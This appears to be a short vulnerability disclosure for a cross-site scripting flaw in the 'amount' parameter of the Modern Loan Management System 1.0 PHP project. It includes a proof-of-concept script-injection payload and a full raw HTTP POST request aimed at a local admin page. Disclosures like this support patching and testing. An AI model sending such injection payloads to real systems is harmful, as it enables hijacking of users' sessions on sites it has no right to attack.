Exploit Title: Cross site scripting in Modern Loan management system 1.0
Date: 09/21/2024
Vendor Homepage: https://www.sourcecodester.com/users/mayurik
Software Link: https://www.sourcecodester.com/php/14570/modern-loan-management-system-project-phpmysql-full-source-code.html
Version: 1.0
Description: The amount parameter in update_loan_record.php of the Modern Loan Management System developed by mayuri_k is vulnerable to cross-site scripting (XSS) attacks.
Tested on: Windows10 + apache + MySQL + PHP5.4.45
POC:
POST input amount was set to 3380″><script>alert(1)</script>
POST /CVE/admin/index.php?loan_id=7&page=update_loan_record HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/CVE/
Cookie: PHPSESSID=lp2f9spshgfvq15min3jn6fr23
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: 127.0.0.1
Connection: Keep-alive
amount=3380"><script>alert(1)</script>&due=2020-11-25&group=3&intereset=10%25&payment=2020-11-02&save=Update%20Loan&source=1
\admin\update_loan_record.php：
